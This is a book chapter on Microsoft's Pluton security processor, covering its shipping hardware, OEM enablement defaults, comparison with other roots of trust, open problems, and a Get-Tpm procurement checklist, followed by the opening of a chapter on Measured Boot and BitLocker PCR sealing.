ManufacturerIdTxt ManufacturerVersion TpmPresent TpmReady
----------------- ------------------- ---------- --------
MSFT              "<firmware version>" True       True

ManufacturerIdTxt = MSFT is a Microsoft TPM signal, but it is not by itself a Pluton proof. On physical hardware, MSFT is the value you expect when Pluton is exposed as the TPM. In Azure, Hyper-V, and other Microsoft virtualization contexts, a Microsoft-provided virtual TPM can also report MSFT. Cross-check Get-PnpDevice -Class SecurityDevices, Device Manager, and the OEM firmware setting before concluding that a machine is running on Pluton silicon. In the same fleet query, INTC indicates Intel PTT, AMD indicates AMD fTPM, and common discrete vendors include Infineon, STMicro, and Nuvoton.

Pluton in 2026. What is shipping, where, and how to verify

The 2020 announcement is now five and a half years old. The 2022 first-silicon shipment is four. What is the actual fleet shape in 2026?

The Microsoft-published hardware list

The current Microsoft Learn Pluton page enumerates the supported silicon: AMD Ryzen 6000, 7000, 8000, 9000, and Ryzen AI; Intel Core Ultra 200V Series, Ultra Series 3, and Series 3; and Qualcomm Snapdragon 8cx Gen 3 and Snapdragon X Series [6]. Treat that as the Pluton-capable silicon list. Present and enabled by default are not the same property, which is the point of the next subsection.

Default-on versus default-off varies by OEM SKU

The first x86 silicon to ship with Pluton was AMD Ryzen 6000 "Rembrandt", at CES 2022. Phoronix's launch coverage [144] confirms that the CES 2022 keynote disclosed the integration. The vendor responses that followed in March 2022 set the OEM-by-OEM posture that the fleet still reflects in 2026. The Register obtained vendor statements [127]. Lenovo deployed the chip on AMD Ryzen 6000 ThinkPads but disabled it: "AMD Ryzen 6000 ThinkPads will include Pluton as it's present in those AMD chips, though the feature will be disabled by default"; Intel-powered ThinkPads "will not support Microsoft Pluton at launch"; the Snapdragon 8cx Gen 3 Lenovo X13s did include Pluton [127]. Dell's reply was the most direct: "Pluton does not align with Dell's approach to hardware security and our most secure commercial PC requirements" [127] [128]. HP declined to comment.

The 2024 inflection is the Copilot+ PC program. Microsoft Learn lists Snapdragon X Series and current Surface-class silicon as Pluton-capable [6], and Copilot+ made Pluton-visible hardware far easier to buy at retail. But "supported silicon," "enabled in firmware," and "active TPM backing" remain distinct procurement facts; default-on status must still be verified per OEM SKU.

Linux 6.3: February 20, 2023

The standard TCG Command Response Buffer (CRB) interface that Pluton exposes is reachable from Linux. Phoronix records the merge: "Linus Torvalds merged to Linux 6.3 Git the TPM CRB support for Microsoft's controversial Pluton security co-processor" [129] [151]. The driver author was Matthew Garrett [151]. Pluton-as-TPM is now reachable from non-Windows operating systems via the standard TCG CRB transport. This constrains (although it does not eliminate) the "Microsoft-only black box" narrative. The chip speaks the open TCG wire protocol that any operating system can talk to.

Garrett's reverse-engineering, April 2022

Matthew Garrett's April 2022 disassembly of the Asus ROG Zephyrus G14 BIOS [130] yielded two facts that matter for the rest of this chapter. First, the user-controllable BIOS Pluton (HSP) toggle on AMD Ryzen 6000 may not be a hardware power-down. The firmware strings Garrett found say: "NOTE: This option will NOT put HSP hardware in disable state, to disable HSP hardware, you need setup PSP directory entry 0xB, BIT36 to 1" and then document bit 36 as disabling the HSP core, gating the HSP clock, and allowing no further PSP-to-HSP commands [130]. Garrett's own hedge follows immediately: "my interpretation of this is that it doesn't directly influence Pluton, but disables all mechanisms that would allow the OS to communicate with it" [130]. Inventory queries that report "Pluton present" do not always distinguish enabled from soft-disabled. Second, "there's a blob starting at 0x0069b610 that appears to be firmware for Pluton. It contains chunks that appear to be the reference TPM2 implementation, and it broadly decompiles as valid ARM code" [130]. The Pluton firmware blob is, on the silicon Garrett looked at, an ARM image with apparent TCG TPM 2.0 reference-code ancestry. That is the observation that makes CVE-2025-2884 (the worked example below) relevant to Pluton firmware as a plausible lineage risk, not proof of a specific vulnerable Microsoft build.

The fleet shape, in one comparison table:

Pluton is not the only on-die security processor in 2026. Apple has the Secure Enclave Processor. Google has Titan M2. The OCP coalition has Caliptra. How does Pluton compare, and what does the comparison reveal about Microsoft's design choices?

Competing approaches: Apple SEP, Google Titan M2, OpenTitan, Caliptra, Cerberus

Pluton is not alone. The platforms below are its nearest analogs: the strongest evidence that Microsoft's design choices were choices, not technical necessities.

Apple Secure Enclave processor

Apple's Apple Platform Security documentation describes SEP as "a dedicated secure subsystem integrated into Apple [SoC]... isolated from the main processor to provide an extra layer of security" [62]. By deployment count it is the most mature single-vendor on-die security processor on the planet: shipping in every iPhone since the iPhone 5s (2013), every iPad since iPad Air, and every Apple-silicon Mac [62] [152]. The architecture has matured generation by generation: a Boot ROM as the hardware root of trust; an Apple-customized L4 microkernel; a Memory Protection Engine that combines AES-XEX with CMAC and an anti-replay tree on A11 / S4 and later; a Boot Monitor on A13 and later that hashes the loaded image and updates the SCIP (System Coprocessor Integrity Protection) settings before transferring control; and on A14 / M1 and later, the Memory Protection Engine "supports two ephemeral memory protection keys": one for SEP-private data and a second one shared with the Secure Neural Engine [62].

The trade-off versus Pluton is not the architecture. It is the governance model. Apple owns the silicon, the operating system, the signing key, and the device. The multi-signer political question never arises because there is only one signer for every layer of the stack. The cost: complete lock-in. The Apple T2 line, which shipped in 2017-2020 Intel Macs as a discrete A10-derived security chip running bridgeOS, inherited the A10 Boot ROM [153]. The A10 Boot ROM has the structurally important property that no Boot-ROM-resident bug can be patched without silicon respin: which the checkm8 / blackbird class of jailbreaks demonstrated end-to-end. T2 was discontinued June 5, 2023 [153]. The lesson is direct: renewable security (Seven Properties #6) is not optional. Even Apple's vertically integrated stack pays the price when a generation ships without it.

Google Titan M / Titan M2 and OpenTitan

Google announced Titan M with the Pixel 3 launch in October 2018 [154]: "This year, with Pixel 3, we're advancing our investment in secure hardware with Titan M, an enterprise-grade security chip custom built for Pixel 3..." [154]. Titan M2 followed with Pixel 6 in October 2021 [155]. Both are discrete or in-package security chips on Pixel for Android Verified Boot, StrongBox-grade key storage, anti-rollback, and lock-screen verification. Both are Google-vertical: Google designs the chip, Google operates the cloud back end, Google ships the OS.

OpenTitan is the open-source descendant. Hosted by lowRISC, it is "the first open source project building a transparent, high-quality reference design and integration guidelines for silicon root of trust (RoT) chips" [156]. RISC-V Ibex core; hardware AES, HMAC, KMAC, and OTBN big-number engines; full RTL, ROM, and verification stack public; Apache 2.0 license. OpenTitan reached commercial availability on February 13, 2024 [157]: the first open-source silicon project to do so. The press release names the nine coalition members verbatim: "Google, Winbond, Nuvoton, zeroRISC, Rivos, Western Digital, Seagate, ETH Zurich and Giesecke+Devrient, hosted by the non-profit lowRISC CIC" [157]. OpenTitan is the closest existing answer to "what would an open-source Pluton look like?", but as of 2026 it is discrete or in-package, not on-die in an application SoC.

Caliptra

The OCP coalition's open-source datacenter Root of Trust. Specification, RTL, ROM, FMC, and runtime are public on CHIPS Alliance [146] [147]. Founders: Microsoft, Google, AMD, NVIDIA. Google Cloud's Caliptra-1.0 announcement reports: "the Caliptra specification and open-source hardware and software implementation is complete, reaching the revision 1.0 milestone." The Google Cloud post adds that the Caliptra IP block is being integrated by member companies into chips expected in the market in 2026. Caliptra targets "datacenter-class SoCs like CPUs, GPUs, DPUs, TPUs" [146]. It is not a Pluton substitute on Windows clients: the form factor is different and the threat model assumes server-side operators.

Project Cerberus: still in production

Cerberus has not been retired. Microsoft Learn describes it as "a NIST 800-193 compliant hardware root-of-trust with an identity that cannot be cloned" [138] [139] running in Azure datacenters; the GitHub reference implementation [137] is actively maintained. In the November 2020 Pluton announcement, Microsoft framed Cerberus as the server-side counterpart to Pluton's client-side root of trust [49]. The two are designed to compose, with Pluton providing the per-CPU identity that an upstream Cerberus chip (or Caliptra-equipped server) can attest. The distinction between Pluton-as-client-RoT and Cerberus-as-server-RoT is operational, not architectural rivalry.

The cross-design comparison

The political question made architectural. Caliptra and OpenTitan answer "what would multi-signer / open-source look like?" in the datacenter. Apple SEP demonstrates that the single-vendor / single-signer model is operationally durable at consumer scale, but only when the vendor owns the entire stack. Pluton sits in the awkward middle: single-signer but multi-OEM, closed-firmware but open-Linux-driver, on-die but the chip vendor is not the firmware vendor. That middle position is what makes the procurement debate hard, and it is what makes the open problems in the next section unresolved.

Pluton is the strongest on-die RoT for Windows clients in 2026, with the clearest Microsoft-documented OS-delivered firmware-update path, the broadest hardware list, and the most mature design pedigree. What can it still not do?

What Pluton still cannot do

Two structural limits inherited from the TPM chapter (Chapter 2), and a third that is specific to single-signer on-die firmware. The first two say what no on-die RoT can do. The third says what no Microsoft-only-signer RoT can do. The worked example is CVE-2025-2884.

Limit 1: RTS+RTR, not RTE

A passive cryptoprocessor (including Pluton) cannot detect that the wrong code measured itself. It can only refuse to release sealed material when PCRs do not match the stored policy. The TPM chapter (Chapter 2) walks the bit-level reasoning. On-die does not change this. Pluton implements Root of Trust for Storage and Root of Trust for Reporting; it does not implement a Root of Trust for Execution that runs the code outside the chip on the reader's behalf.

Limit 2: The VMK transits OS RAM at unseal

The Volume Master Key must enter RAM during Trusted Boot, and once unsealed it lives in OS-controlled memory. An attacker who reads OS RAM at the release moment, or any time after, defeats TPM-only BitLocker regardless of TPM strength (developed in the TPM chapter, Chapter 2). Pluton's on-die location eliminates the dTPM bus surface; it does not change which side of the unseal boundary the VMK lives on. This is why Virtualization-Based Security, Credential Guard, DRTM, and System Guard Secure Launch exist as complements, not substitutes, to the TPM/Pluton primitive.

Limit 3: Single-signer revocation impossibility

This is the new one. State the result precisely: if the on-die RoT firmware can only be authenticated by a single signer S, then the chip's trust anchor cannot be retired without bricking the chip's firmware-update path, regardless of whether S is compromised, coerced, or jurisdictionally constrained. This is not a cryptographic impossibility. It is a key-management impossibility. Revocation requires either (a) a second trust anchor provisioned at chip manufacture and held outside S's control: i.e., multi-signer at the chip level, not just at the deployment level, or (b) physical replacement of the silicon. Caliptra and Cerberus weaken the failure mode by moving the signer to the integrating chip vendor or to the operator, but they do not eliminate it; each chip still has one signing root.

Worked example, CVE-2025-2884

On June 10, 2025, NVD published CVE-2025-2884 [158]. The CERT/CC coordination ticket is VU#282450 [131]. The vulnerability is an out-of-bounds read in the CryptHmacSign function of the TCG TPM 2.0 reference implementation, Level 00, Revision 01.83 (March 2024). The CERT/CC document describes the impact: "An authenticated local attacker can send malicious commands to a vulnerable TPM interface, resulting in information disclosure or denial of service of the TPM" [131].

The attribution point is easy to get wrong; the side note below keeps it tied to the primary CERT/CC record.

Multiple downstream products are affected. Intel published Security Advisory SA-01209 [159]. Siemens published SSA-628843 [160]. The libtpms project assigned CVE-2025-49133 [161] for its own derivative; the upstream fix landed in libtpms commit 04b2d8e9 [162]. The TCG itself coordinated VRT0009 [163] and a TPM 2.0 Library Specification v1.83 errata (cited via NVD as the verifiable mirror: the TCG site returns 403 to non-browser User-Agents).

Why this is the right worked example for Pluton. Garrett's April 2022 reverse-engineering [130] documented that the Pluton firmware blob in the AMD Ryzen 6000 BIOS is "firmware for Pluton. It contains chunks that appear to be the reference TPM2 implementation, and it broadly decompiles as valid ARM code." That supports a narrower conclusion than "CVE-2025-2884 was present in Pluton": reference-code defects can plausibly reach Pluton-derived firmware unless Microsoft has already diverged from, removed, or patched the affected code path. No public Microsoft advisory, TCG notice, or vendor bulletin in this chapter proves that the vulnerable CryptHmacSign revision was compiled into a shipping Pluton build. On-die location does not by itself stop a reference-code bug from being relevant.

What would matter for outcomes is the dwell time before vulnerable firmware is replaced. The structural change that distinguishes Pluton from a 2014 dTPM is not only "where the chip is" but "who can patch it, and at which boot phase the new image is loaded." A discrete TPM with the same bug would wait for the dTPM vendor to push a firmware build, the OEM to package a UEFI capsule, the OEM to test it across its product lines, and the user to install it. Microsoft's Pluton path adds Windows Update loading during Windows startup, while SPI-resident early-boot firmware can still be updated through UEFI capsules [6]. Design choice 4 (above) walked the channel-shape change and the no-SLA hedge; this is what makes the channel the security property that matters here.

If single-signer revocation is impossible, what would multi-signer Pluton look like? And what other open problems does this design choice leave unsolved?

Open problems Pluton has named but not solved

Five concrete open problems sit in front of any 2026 reader of the Pluton design. Each is mapped below to the closest existing partial result. None has a public solution.

Open problem 1: Multi-signer firmware for on-die client RoTs

No public proposal exists for multi-signer Pluton on a Windows client. Caliptra moves the signer to the integrating chip vendor [146], so the count of signers per chip remains one even when the count per deployment is many. There is no public proposal for two simultaneous signers on a single client RoT (e.g., Microsoft and a sovereign signer; or AMD and Microsoft for a Pluton-on-AMD chip). The closest existing analogs live elsewhere (IETF KEYTRANS for transparency-logged keys [164], HSM-cluster split-signing for operational continuity) but none has a hardware-RoT counterpart that has shipped. The unresolved engineering question, named in the TPM chapter (Chapter 2), is whether multi-signer can be added without losing the timely-update property that motivated Pluton in the first place.

Open problem 2: Regulatory jurisdiction of single-signer firmware

Pluton's signing key is, in effect, a US export-controlled artifact. The EU Cyber Resilience Act entered into force on December 10, 2024, with the bulk of its security obligations applying from December 11, 2027 and reporting obligations applying from September 11, 2026 [165]; from the 2027 date it will require demonstrable security properties for products with digital elements, without specifying who the signer must be. Sovereign fleets such as the German Federal Office for Information Security (BSI), Singapore, and Switzerland have varying postures on whether a non-domestic RoT is acceptable. Read in 2026, the Dell and Lenovo statements of March 2022 [127] [128] are the first public push-back along this axis. The procurement debate is not technical; it is jurisdictional. There is no current proposal for a Pluton variant that satisfies a non-US sovereign procurement requirement.

Open problem 3: SPDM 1.3 component attestation on PC

Pluton attests the host SoC. It does not yet attest individual components (NICs, NVMe SSDs, PCIe accelerators) on Windows clients. The DMTF's Security Protocol and Data Model (DSP0274) is the wire protocol for component-to-component attestation: a publication cadence of 1.3.0 in June 2023, 1.3.2 in September 2024, and 1.3.3 in December 2025 [167]. The Caliptra MCU project's Rust SPDM responder design page is the most explicit public reference for what an SPDM 1.3 endpoint looks like inside an on-die RoT: SPDM is "a protocol designed to ensure secure communication between hardware components by focusing on mutual authentication and the establishment of secure channels over potentially insecure media... using X.509v3 certificates" [168], with a fixed message inventory (GetVersion, GetCapabilities, NegotiateAlgorithms, GetDigests, GetCertificate, Challenge, GetMeasurements, KeyExchange, Finish) carried over an MCTP transport binding. Caliptra 2.0's RTL design freeze in October 2024 [169] commits SPDM as part of the Caliptra Subsystem reference stack: "Reference Stack: MCTP PLDM, SPDM" [169]. That is the server-side commitment.

The PC-client equivalent is not on the public record as of May 2026. Microsoft Learn's Pluton page does not mention SPDM, DSP0274, MCTP, or component attestation [6]. There is no Microsoft-published Windows feature or Pluton-firmware milestone that names "SPDM responder" or "component attestation on PC" as a roadmap deliverable. The architectural question, whether Pluton becomes the platform's SPDM responder, whether each component (NVMe controller, Wi-Fi card) is its own responder and Pluton aggregates the evidence, or whether Windows Defender System Guard owns the Windows-side appraiser, is not answered by any published Microsoft document on the public record as of May 2026. The closest existing reference design lives in chipsalliance/caliptra-mcu-sw (Rust SPDM responder, X.509-anchored mutual auth), and the most likely standards venues for a PC-client profile are the DMTF SPDM WG (the wire protocol owner) and the OCP Security WG (the appraisal-framework owner). Until Microsoft publishes a Windows-feature surface that owns the SPDM responder on PC, "Pluton attests the host SoC, period" is this chapter's honest description of the 2026 state.

Open problem 4, Pluton-Caliptra interoperation

A Pluton-rooted client should, in principle, be able to attest to a Caliptra-rooted server in a single end-to-end protocol with both roots of trust visible in the resulting evidence chain. The wire-protocol candidates exist and are largely standardized. What is missing is the composite-attestation profile that wires them into a single client-to-server flow.

The candidate stack as of May 2026 lives across three SDOs and one OCP project. The DMTF owns SPDM 1.3 for component-to-component attestation [167] [168]. The IETF Remote Attestation Procedures (RATS) Working Group owns the architectural primitives for what an evidence-and-results message contains: RFC 9711 (April 2025, Standards Track) is the Entity Attestation Token (EAT), a CBOR Web Token (CWT) or JSON Web Token (JWT) form for "an attested claims set that describes the state and characteristics of an entity" [170]; draft-ietf-rats-corim-10 (in WG Last Call as of March 2026) is the Concise Reference Integrity Manifest, the appraisal-time profile for "Endorsements and Reference Values in CBOR format" [171]; draft-ietf-rats-msg-wrap-23 (in the RFC Editor queue since December 2025) is the Conceptual Message Wrapper, a CBOR-tag / JWT / CWT / X.509-extension envelope for composing evidence, attestation results, endorsements, and reference values across protocols [172]. The full RATS WG document inventory at datatracker.ietf.org/wg/rats/documents/ shows additional active drafts on multi-verifier composition, posture-assessment, EAR (an evidence-appraisal-results profile), and PKIX key attestation [173]. The OCP Security WG owns the third-party appraisal framework: OCP S.A.F.E. v2.0 (March 2026) added explicit CoRIM SFR support and is the public mechanism by which a fleet operator certifies that a vendor's firmware-appraisal evidence has been independently audited [174]. Caliptra 2.0's reference stack already wires SPDM, MCTP, and PLDM [169]; the Caliptra MCU Rust responder shows the SPDM endpoint shape [168].

What is missing is a single published profile that walks the chain end to end: a Pluton-rooted Windows client emits a Get-Tpm-derived attestation (Pluton acting as evidence producer); the network carries CMW-wrapped evidence with a CoRIM endorsement set the verifier consumes; the verifier emits an EAT-formatted attestation result; a Caliptra-rooted server consumes the result and gates fleet membership. Each leg has a draft. No public SDO document binds them into a single Pluton-Caliptra composite-attestation profile with reference implementations on both ends. The natural venue is a joint DMTF SPDM WG and OCP Security WG profile, with IETF RATS as the architectural reference; the natural reference implementation pair is chipsalliance/caliptra-mcu-sw on the responder side and a Windows-feature surface (which Microsoft has not named publicly) on the client side. Until that joint profile exists and ships reference implementations, Pluton-Caliptra interoperation in 2026 is two roots-of-trust deployed, with no published end-to-end protocol that visibly carries both signatures into a single evidence chain.

Open problem 5: Supply-chain integrity beyond firmware signing

The Pluton signing root protects firmware integrity after the chip ships. Listing the supply-chain steps in chronological order makes the residual trust gap concrete: (1) the IP-licensing handshake from Microsoft to AMD / Intel / Qualcomm; (2) tape-out and process-design-kit integration at TSMC; (3) wafer fabrication; (4) per-vendor package assembly; (5) OEM motherboard integration; (6) OEM firmware integration (BIOS / UEFI vendor code that surrounds the Pluton block); (7) retail distribution. None of these steps is presently attested by Pluton itself; the on-die signing root is provisioned during silicon manufacture (the tape-out and fabrication steps) and exercised when signed Pluton firmware is loaded and verified from OEM firmware integration onward, but the licensing, assembly, and board-integration steps around it are out of band of the chip's RoT.

The closest existing partial answer is a layered combination of three primitives. First, DICE (TCG's Device Identifier Composition Engine) gives every component a Hardware Root of Trust (HRoT) which uniquely identifies the component and attests component firmware [175], anchored by a per-die Unique Device Secret (UDS) that derives a Compound Device Identifier (CDI) per layer; the Open Profile for DICE v2.6 [176] is the reference profile and explicitly cites the TCG normative parent. DICE answers step 4-5 (per-package and per-board identity) provided the integrator provisions a UDS on the die. Second, SPDM 1.3 [167] [168] is the wire protocol that surfaces those DICE identities to a verifier at runtime: a per-component SPDM responder (carried over MCTP / PLDM in Caliptra 2.0's stack [169]) emits a measurement set tied to its CDI. Third, OCP S.A.F.E. (Security Appraisal Framework and Enablement) v2.0 [174] is the third-party-audit framework that lets a fleet operator certify that a Device Vendor's firmware was assessed by a Security Review Provider; the v2.0 March 2026 revision explicitly added CoRIM SFR support, wiring S.A.F.E. into the IETF RATS appraisal stack [171]. Together, DICE + SPDM + S.A.F.E. answer "is each component what its vendor said it was, and has the firmware been independently appraised?"

What is not built is the verifier infrastructure that consumes that evidence end to end. There is no public per-component-EK transparency log analogous to Certificate Transparency for the web PKI; there is no Pluton-rooted client-side appraiser that consumes per-component SPDM evidence and gates Windows boot on it; there is no shipping fleet-side hardware-bill-of-materials (HBOM) audit pipeline that ingests S.A.F.E. reports and Caliptra-rooted server attestations together. The supply-chain trust is named by DICE + SPDM + S.A.F.E.; it is not operationalised end to end on a 2026 Windows 11 client. The honest framing is: Pluton's signing root closes step 6 and step 7; DICE + SPDM + S.A.F.E. are the public standards that, if implemented in the Windows feature stack, would close steps 4-5; steps 1-3 (IP licensing, tape-out, wafer) remain out of band of any of the public standards above.

The 10-property scoreboard for an ideal client-PC on-die RoT

Five open problems converge onto a single scoreboard. This chapter's SOTA review enumerates ten properties an ideal client-PC on-die Root of Trust in 2026 would satisfy. It inherits five of the TPM chapter's six ideal-TPM properties (on-die location, isolated TEE, OS-channel firmware updates, native post-quantum primitives, and high-assurance certification depth) while dropping "authenticated wire protocol always on" because an on-die Pluton path has no exposed off-package TPM wire to protect. It adds five Pluton-era properties: memory-protected DRAM with authenticated anti-replay protection, memory-safe firmware language, multi-signer firmware authentication, public RTL / verification flow, and component attestation via SPDM 1.3. The ten rows are therefore: (1) on-die location with no off-package bus; (2) an isolated TEE shared with nothing else; (3) memory-protected DRAM with AES + authenticated + anti-replay protection; (4) OS-channel firmware updates; (5) memory-safe firmware language; (6) multi-signer firmware authentication; (7) public RTL and verification flow; (8) native post-quantum primitives (ML-DSA, ML-KEM); (9) component attestation across PCIe / NVMe / NIC via SPDM 1.3; (10) high-assurance certification depth (Common Criteria EAL4+ and FIPS 140-3). No shipping method satisfies all ten; the matrix below shows where each design sits.

The matrix says two things at once. First, under this chapter's rubric, no shipping on-die RoT in 2026 satisfies more than four of the ten properties; the scoreboard is sparse on purpose and is not an assurance metric. Second, the closest trajectory to the ten-property ideal is not any single design; it is the union of Pluton's properties (1, 2, 4, and 5 where the 2024+ AMD/Intel Rust foundation applies), Caliptra's open RTL and PQC commitments (7, 8, 9), and OpenTitan's open RTL (7). A hypothetical Pluton variant that adopted Caliptra-style multi-signer governance, OpenTitan-style RTL transparency, and the Caliptra 2.0 SPDM responder reference stack would satisfy 1, 2, 4, 5, 6, 7, 8, 9 (eight of the ten) with high-assurance certification (10) the residual procurement question. That hypothetical Pluton has not been publicly proposed by Microsoft. It is, however, the design the matrix names as the destination if all five open problems above were closed.

The shape of the unanswered question

All five share the same shape. Pluton has narrowed but not eliminated structural classes of trust. On-die narrowed but did not eliminate the silicon supply chain trust. Microsoft-rooted firmware servicing narrowed but did not eliminate the firmware-signing trust. Component attestation, when it ships on PC, will narrow but not eliminate the per-component supply-chain trust. Each Pluton design choice trades one trust for another; the residual trusts are the ones this chapter cannot answer technically and must label politically.

On Monday morning, what does the Windows engineer reading this actually do?

The Pluton checklist for 2026

Five questions. Each has a one-paragraph answer and a verifiable command or check. The reader who skipped the rest of this chapter will still avoid the most expensive mistake: counting "Pluton present" as "Pluton enabled."

Q1. Is Pluton present on this device?

Get-Tpm in PowerShell reports ManufacturerIdTxt, Windows's rendering of the TPM 2.0 manufacturer property (TPM_PT_MANUFACTURER), a four-byte vendor field in the TCG structures specification [178]. MSFT is the Microsoft-backed value: on physical hardware it is the value expected for Pluton-as-TPM; in Microsoft virtualization it can also be a Microsoft vTPM. INTC is Intel PTT; AMD (with trailing space) is AMD fTPM; IFX, STM, and NTC cover Infineon, STMicro, and Nuvoton discrete TPMs respectively. The TPM chapter (Chapter 2) documents the broader manufacturer-string discovery path. The Pluton-specific check is therefore MSFT plus Plug-and-Play / Device Manager evidence of a Microsoft Pluton security processor.

How to detect Pluton with Get-Tpm.

Open PowerShell as administrator and run:

Get-Tpm | Select-Object ManufacturerIdTxt, ManufacturerVersion, TpmPresent, TpmReady

A ManufacturerIdTxt of MSFT indicates a Microsoft-backed TPM interface: Pluton on physical hardware when the Plug-and-Play security-device list also shows the Pluton processor, or a Microsoft vTPM in virtualization. Other vendor strings are as above; for richer detail, run tpm.msc: the Microsoft Management Console snap-in shows the full TPM identity.

Q2. Is Pluton enabled, not just present?

This is the soft-fuse trap from the Pluton in 2026 section. On AMD Ryzen 6000 / 7000 / 8000 physical silicon, Get-Tpm returning MSFT plus Plug-and-Play evidence of the Pluton security processor proves Pluton is exposed as the TPM, but does not, on its own, prove Pluton is enabled in firmware (the Soft-fuse Pluton disable Definition and the Pluton present is not Pluton enabled Callout walk the PSP directory 0xB BIT36 mechanism Garrett 2022 documents [130]). The procurement-relevant action is to audit BIOS-level Pluton (HSP) toggles and correlate Get-Tpm's manufacturer string with Get-PnpDevice / Device Manager before counting an AMD-Ryzen-6000-class device as Pluton-protected. On Lenovo AMD Ryzen 6000 ThinkPads specifically, the launch posture was Pluton present but disabled by default [127], so a 2022 ThinkPad inventory query that finds Ryzen 6000 silicon will not, on its own, tell the operator whether Pluton is doing any work.

Q3. Is Pluton firmware current?

Microsoft supports loading new Pluton firmware through Windows Update during Windows startup, alongside UEFI capsules for the SPI-resident early-boot firmware [6]. Microsoft does not publish a per-release notes feed for Pluton firmware, so the operator must rely on the general Windows Update history and the chip vendor's advisory feed (Intel SA-* for Intel-Pluton silicon; AMD's security bulletins for AMD-Pluton silicon). The procurement-relevant property is that the OS-load channel exists; the procurement-relevant question is whether the operator's organization is willing to depend on that channel and its boot-phase semantics.

Q4: When to prefer Pluton over dTPM, PTT, or AMD fTPM

Three procurement scenarios where Pluton is the right answer in 2026.

• Default Windows 11 client procurement. Pluton on AMD Ryzen 6000 and later, Intel Core Ultra 200V Series and Series 3, and Snapdragon X Series [6]. The Microsoft-supported configuration; the path of least administrative resistance; and, on 2024+ AMD and Intel systems, the realisation for which Microsoft publicly commits to a Rust-based firmware foundation [6].
• Adversary model includes physical access. Andzakovic-class bus sniffing [78], faulTPM-class voltage glitching [99]. Pluton (on-die, dedicated TEE) removes the off-package TPM bus and avoids the PSP-fTPM shared-TEE path for Pluton-as-TPM.
• Need fast firmware updates for security responses to TCG-reference-code bugs. CVE-2025-2884 is the worked example [158]. Pluton's OS-load servicing path is the clearest realisation here that is not limited to the OEM UEFI capsule path, while the SPI-resident early image still has UEFI-capsule semantics [6].

Q5: When to not prefer it

Three procurement scenarios where Pluton is not the right answer.

• Regulated fleets requiring a non-US trust anchor. German BSI PP-0084-class procurement [166], EU sovereign workloads. Hardened dTPM (Infineon SLB 9670 / 9672, STMicro ST33TPHF) has the certified posture [177]; Pluton has no public Common Criteria EAL4+ certification for the whole security processor as of 2026, though its ROM module carries a FIPS 140-3 Level 2 validation (CMVP cert 4880) [177].
• Air-gapped fleets that cannot accept Windows-Update-delivered firmware. Offline UEFI capsule servicing remains the only operationally feasible patch path; dTPM is the mechanically right choice for that fleet.
• Multi-vendor sourcing requirements. dTPM has multiple silicon vendors (Infineon, STMicro, Nuvoton). Pluton has one signer per chip and only the AMD / Intel / Qualcomm silicon paths Microsoft has licensed. Datacenter operators who need multi-vendor sourcing should look at Caliptra [146]: not a Pluton substitute on Windows clients, but the right answer for datacenter SoC procurement.

We started with the question Microsoft answered architecturally before the TPM chapter (Chapter 2) posed it. Where does that leave the political question that even the architectural answer cannot resolve?

A closing tied to the TPM chapter

Return to the line that opened this chapter. "The TPM was supposed to be the part of the system you didn't have to trust anyone for. Twenty-five years later, the trust question is back, and the answer is now political" [39]. The architectural answer to that question existed inside an Xbox before the question was asked. Twelve years of Microsoft security silicon: Xbox One in 2013, Project Sopris in 2015, the Seven Properties paper in 2017, Project Cerberus in 2017, Azure Sphere in 2018, Pluton-on-PC in 2020, AMD Ryzen 6000 silicon in 2022, Linux 6.3 driver in 2023, Caliptra 1.0 in 2024, and the CVE-2025-2884 dwell-time test in 2025, have shaped the on-die security processor on the modern Windows 11 client.

This chapter's own answer is direct. Pluton makes the political question concrete and unavoidable, but it does not resolve it. On-die closes the bus surface. A dedicated Pluton subsystem narrows the shared-TEE blast radius that defeated AMD fTPM. A Rust-based foundation on 2024+ AMD and Intel systems narrows the bug class that has driven the firmware-CVE economy for a decade. Windows Update adds an OS-startup firmware loading path alongside UEFI capsules for the SPI-resident early image. Each design choice narrows a 2014-2024 attack class. Each design choice places a new trust in Microsoft. The trust question is now visible at every level of the stack: silicon supply chain, firmware language, signing key, update channel, regulatory jurisdiction. It does not go away because Microsoft engineered the chip well. It goes from being a technical question to being a procurement question.

The closing image is operational. An engineer running Get-Tpm on a physical Windows 11 laptop in 2026 reads a four-letter token in the manufacturer string, then cross-checks Plug and Play to rule out the vTPM ambiguity. MSFT, when that cross-check shows Pluton, is what twelve years of Microsoft security silicon buys you. It is what closed the bus surface that the TPM chapter's $40 FPGA exploited (Chapter 2). It is what narrows the shared-TEE surface that faulTPM extracted state from. It is what gives the Windows Update channel firmware to load during Windows startup. It is also what places a Microsoft-controlled firmware authority in the trust path for every Pluton-equipped Windows 11 client. That four-letter token is this chapter's subject, the TPM chapter's epilogue (Chapter 2), and the next decade's procurement question.

Measured Boot

From reset to a PCR-Bound BitLocker key

Measured Boot is the system that lets Windows prove the measured boot-time path from power-on to the kernel's ready-to-boot separator. A small immutable block called the CRTM measures the next stage, extending a SHA-256 digest into a TPM register (a PCR); each stage measures its successor, building a hash chain whose final value is determined by the ordered sequence of measured boot inputs. BitLocker seals its Volume Master Key to a subset of those PCRs, so an unexpected change in the selected profile (for example Secure Boot policy or BitLocker access-control state on the modern default, and firmware or boot-manager code on stricter profiles) can force a 48-digit recovery prompt. The chain runs event by event from reset to the early OS handoff; reading it is what explains why bitpixie (CVE-2023-21563) was dangerous on TPM-only deployments, and what turns a Monday-morning recovery storm into six predictable commands.

Two PCs that hash differently

At 06:00 on a Tuesday in March 2024, a senior administrator at a 500-seat law firm finishes patching her fleet of Dell OptiPlex 7090 desktops overnight. At 08:42 she has answered her 173rd help-desk ticket, all variations on the same theme: Why is my PC asking for a 48-digit BitLocker recovery key? The answer (the answer the rest of this chapter exists to make obvious) is that a single 32-byte SHA-256 register on every machine in her fleet now holds a different number than it did yesterday, and BitLocker's seal is bound to that number.

The patch she applied to make the fleet safer is the patch that locked it out.

Across town a second firm runs the modern default UEFI BitLocker profile, 0x880 (PCR[7]+PCR[11]). Those machines absorb a firmware-only UEFI delta that moves PCR[0] without a single recovery prompt, because PCR[0] is not in the selected seal profile. If the same maintenance changes Secure Boot policy (db, dbx, PK, or KEK) PCR[7] moves and those machines can still recover. Secured-core Secure Launch [179] is a separate attestation benefit: it adds a DRTM evidence plane in PCR[17-22], but default TPM-only BitLocker still keys off PCR[7] and PCR[11].

Every byte that went into that hash can be named, every administrative action's effect on it predicted, and the TCG event log read on your own machine to confirm. Which is what the rest of this chapter does. It is also why the BitLocker seal is, in some configurations, a Faraday cage built on top of a fence the verifier never opened, and why the chip Microsoft calls the Trusted Platform Module knows nothing of trust (only of arithmetic over hashes) while the verifier, which knows what good looks like, is always someone other than the chip.

